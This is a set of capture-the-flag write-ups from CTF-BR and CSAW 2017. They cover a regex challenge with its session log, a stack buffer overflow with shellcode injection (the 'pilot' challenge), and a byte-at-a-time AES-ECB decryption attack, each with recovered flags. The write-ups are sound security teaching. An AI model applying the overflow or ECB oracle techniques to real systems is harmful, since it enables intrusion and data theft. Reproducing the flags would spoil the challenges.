This was a terrific refresher of finer points of regex expression syntax. One catch may be the specific Python function to use when verifying your expressions - not all of them behave the same way in all cases. I asked the CTF admins and they recommended using ```re.findall()``` function, which helped me overcome some discrepancies I saw in testing expressions locally vs. testing against the server.
To test expressions locally I threw together a small script:
```pythonimport re,sys
data = open("regexbaby.txt","r").read()
print sys.argv[1], "len: %d" % len(sys.argv[1])
m = re.findall(sys.argv[1], data)
for x in m: print x```
After a lot of trial and error the following expressions worked (note that the expression with 38 characters has a trailing space):
```$ nc 200.136.213.148 5000
Type the regex that capture: "from "Drivin" until the end of phrase, without using any letter, single quotes or wildcards, and capturing "Drivin'" in a group, and "blue." in another", with max. "16" chars: (.{7}).+-(.{5})$Nice, next...Type the regex that capture: "All "Open's", without using that word or [Ope-], and no more than one point", with max. "11" chars: (?i)(oPEn)Nice, next...Type the regex that capture: "(BONUS) What's the name of the big american television channel (current days) that matchs with this regex: .(.)\1", with max. "x" chars: CNNNice, next...Type the regex that capture: "Chips" and "code.", and it is only allowed the letter "c" (insensitive)", with max. "15" chars: ([cC].{4})\n\nNice, next...Type the regex that capture: "the follow words: "unfolds", "within" (just one time), "makes", "inclines" and "shows" (just one time), without using hyphen, a sequence of letters (two or more) or the words itself", with max. "38" chars: (?:t|d) ([^F]\w{2,5}(?:i|e|w|d)[^d]) Nice, next...Type the regex that capture: "the only word that repeat itself in the same word, using a group called "a" (and use it!), and the group expression must have a maximum of 3 chars, without using wildcards, plus signal, the word itself or letters different than [Pa]", with max. "16" chars: (?P..a)(?P=a)Nice, next...Type the regex that capture: "FLY until... Fly", without wildcards or the word "fly" and using backreference", with max. "14" chars: (FL.).+(?i)\1Nice, next...Type the regex that capture: "<knowing the truth. >, without using "line break"", with max. "8" chars: <[^z]*>Nice, next...CTF-BR{Counterintelligence_wants_you!}```
The flag is ```CTF-BR{Counterintelligence_wants_you!}```. |
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# CSAW '17## pilot (pwn 75)
https://ctf.csaw.io/challenges#pilot
> Can I take your order?
> `nc pwn.chal.csaw.io 8464`
### Recon
We are supplied with a binary file along with the address to the remote server where the flag is stored. Our goal is to spawn a shell on the server and retrieve the flag which is located in the file system. Here's the output when I run the program with no inputs:```[*]Welcome DropShip Pilot...[*]I am your assitant A.I....[*]I will be guiding you through the tutorial....[*]As a first step, lets learn how to land at the designated location....[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...[*]Good Luck Pilot!....[*]Location:0x7ffebcea5460[*]Command:[*]There are no commands....[*]Mission Failed....```The first thing to notice is that it prints something that looks like a location on the stack. It then asks for input from the user and complains that there is none. Let's open radare2 in debug mode and see if we can figure out what that address is for...```$ r2 -d ./pilot```
Let's start by disassembling main:```> aaa> s main> pdf```At the top, we see the layout of our stack - 1 variable, 32 bytes long:```; var int local_20h @ rbp-0x20```Skip the parts where it outputs the introduction. The first interesting part is the location output:```| 0x00400aa1 4889c2 mov rdx, rax| 0x00400aa4 488d45e0 lea rax, qword [local_20h]| 0x00400aa8 4889c6 mov rsi, rax| 0x00400aab 4889d7 mov rdi, rdx| 0x00400aae e8bdfdffff call sub._ZNSolsEPKv_80_870| 0x00400ab3 be90084000 mov esi, sub._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__96_890 ; 0x400890| 0x00400ab8 4889c7 mov rdi, rax| 0x00400abb e8c0fdffff call sub._ZNSolsEPFRSoS_E_88_880```The important part here is that we see a reference to `[local_20h]` at `0x004000aa4`. This implies that the printed address is probably a reference to our stack variable.
Continuing on, we find the input:```| 0x00400acf 488d45e0 lea rax, qword [local_20h]| 0x00400ad3 ba40000000 mov edx, 0x40 ; '@'| 0x00400ad8 4889c6 mov rsi, rax| 0x00400adb bf00000000 mov edi, 0| 0x00400ae0 e83bfdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)```This is a call to `istream::read`, at file descriptor `0` (stdin), to our stack variable `local_20h`, at a length of 0x40 bytes. This should throw a *massive* red flag. `read` is called with a length that is twice the size of our buffer! This is definitely exploitable.
Earlier, we theorized that the printed address might point to the stack variable, so let's test that before we move on. Set a breakpoint right before main returns and run the program. While it's running, go ahead and provide an input that we can recognize:```> db 0x00400b34> dc...[*]Location:0x7ffc3dd9fe10[*]Command:AAABAAAChit breakpoint at: 400b34```Note: Your location will be different than mine, and it will also change every time the program runs. That's ASLR doing it's job.
Alright, so we've paused the program before it jumps out of the stack frame, now we can analyze that address. Let's print the data at that location (remember to replace this address with whatever your program printed):```> px 64@0x7ffc3dd9fe10- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x7ffc3dd9fe10 4141 4142 4141 4143 0a08 4000 0000 0000 [email protected] 10ff d93d fc7f 0000 0000 0000 0000 0000 ...=............0x7ffc3dd9fe30 900b 4000 0000 0000 6abf 0c3c 127f 0000 [email protected]..<....0x7ffc3dd9fe40 0000 0000 0000 0000 18ff d93d fc7f 0000 ...........=....```Check it out, our input is there! That's interesting how they supply us with the address of our input, practically defeating the purpose of ASLR. Also note that on the 3rd line down, you can see the end of our stack frame, which contains the base address of the next stack frame and the return address. The return address is 40 bytes away from the start of our input, so it definitely can be overwritten with 64 bytes from the `read` call.
At this point, we have enough information to form an exploit. We have a buffer overflow capable of modifying the return address, and we are provided the address of our input which means we can store shellcode there and return to it.
### Exploit
The exploit is very simple: at runtime, we need to fetch the location of our input from the program. Then, we need to craft a payload that can drop us to a shell. We can store shellcode at the beginning of our payload, pad it to 40 bytes (the offset to the return address), and append the return address to it.
REMEMBER: We are working on a *little-endian* system, so that means the return address needs to be sent with the least significant byte first. For example, the address I received above, `0x7ffc3dd9fe10`, would be sent back as `10fed93dfc7f`. Thankfully, the `pwntools` library will take care of that for us when we're writing the script.
So initially, I grabbed some shellcode from [shell-storm.org](http://shell-storm.org/shellcode/files/shellcode-806.php), padded it to 40 bytes, appended the address I received earlier, and let it rip! It works, right? *Nope*. I get a segmentation fault. In fact, I tried several shellcodes, and none of them seemed to work.
After much headache, I opened up a debugging session to examine the situation. What happened was that when it returned to the shellcode, `rsp` was set to a location 16 bytes above the old stack variable, and approximately 19 bytes above where the shellcode started. That means I could safely push 19 bytes onto the stack before it overwrote my shellcode. Unfortunately, the shellcode I chose pushed up to a depth of *32 bytes,* overwriting the shellcode itself with illegal instructions!
To fix this, I added some of my own machine code to the beginning: `add rsp, 0x30`. This added 48 more bytes between the stack head and the shellcode, which was more than enough for the shellcode to execute correctly and drop me to a shell.
### Solution
[`exploit.py`](https://gitlab.com/AGausmann/ctfs/blob/master/2017/csaw/pilot/exploit.py) contains the solution, with hooks to a local process, the remote server, and a debugging connection to radare with the provided [rarun2 script](pilot.rr2): `r2 -dR pilot.rr2 ./pilot`. Simply edit `exploit.py` and uncomment the appropriate line starting with `rc = ...`
Flag: `flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}` |
# CSAW '17## baby_crypt (crypto 350)
https://ctf.csaw.io/challenges#baby_crypt
> The cookie is `input + flag` AES ECB encrypted with the sha256 of the flag as the key.
>`nc crypto.chal.csaw.io 1578`
### Recon
They only gave us a link to the server, so this is a blackbox challenge. There's no binary or script to analyze, so let's start with the encryption method: AES-ECB. One known issue with ECB is that blocks are encrypted independently of each other; that means that two blocks that have the same contents are going to be encoded the same way. Because our input is prepended to the flag, we have an attack vector. We can control how much of the unknown flag is inside a block that we control.
### Exploitation
To exploit this vulnerability, we can send the server 15 bytes, example:```A A A A A A A A A A A A A A A41414141 41414141 41414141 414141```When we send this, the exchange looks like:```Enter your username (no whitespace): AAAAAAAAAAAAAAAYour Cookie is: 79d6ef8b25ab8e64c452f9f5eb90e418ac30cc07bdb589446fa1fe24fad8f4060569323ed7299f231ccf7192a4cde656```We can see that the output is 48 bytes long, or 3 blocks. If we remove the block containing our input, that tells us that the flag is at most 32 bytes long (technically 33, but we'll ignore that, it is actually 32). Remember that for later.
We now only care about the first block (16 bytes) of the cookie, since that is what we control. Remember, this block is the encrypted form of our input plus the first character of the flag:```79d6ef8b 25ab8e64 c452f9f5 eb90e418```Once we have this, we can brute force the first character of the flag. We can append any printable character to the input, send it to the server, and check to see if it matches our block. By doing this, we find that the first character of the flag is `f`. We can now modify our payload to overflow 2 characters, knowing that the 15th character will be f and use this to brute-force the next character:```A A A A A A A A A A A A A A41414141 41414141 41414141 4141```Once we have our encrypted value, we append what is known of the flag, and we begin brute-forcing the next character. Repeat the cycle until there is no longer a match or we've run out of characters.
For the sake of simplicity, I've only shown 1 block here, but like I've mentioned above, we know the flag is actually at most 32 characters. That requires 2 blocks of padding instead of 1, and therefore we check against the second block, since that is now the block that contains the unknown character.
### FixThis specific vulnerability in ECB could be mitigated by instead encrypting `flag + input`. This ensures that the user does not have control over the position of `flag` during encryption. However, I would highly recommend using other ciphers over ECB. As I previously stated, the much larger issue is that equal blocks of plaintext will be equal in ciphertext, even when encrypted together. There is virtually no entropy; an attacker would be able to notice patterns in the ciphertext just as well as if it were plaintext. If the communication often contains repeated messages, it would be fairly easy to predict them. The correct fix would be to use a different AES cipher if you are encrypting more than 1 block of data at any time.
### Solution
The final exploit is contained in [`exploit.py`](https://gitlab.com/AGausmann/ctfs/blob/master/2017/csaw/baby_crypt/exploit.py).
`flag{Crypt0_is_s0_h@rd_t0_d0...}` |
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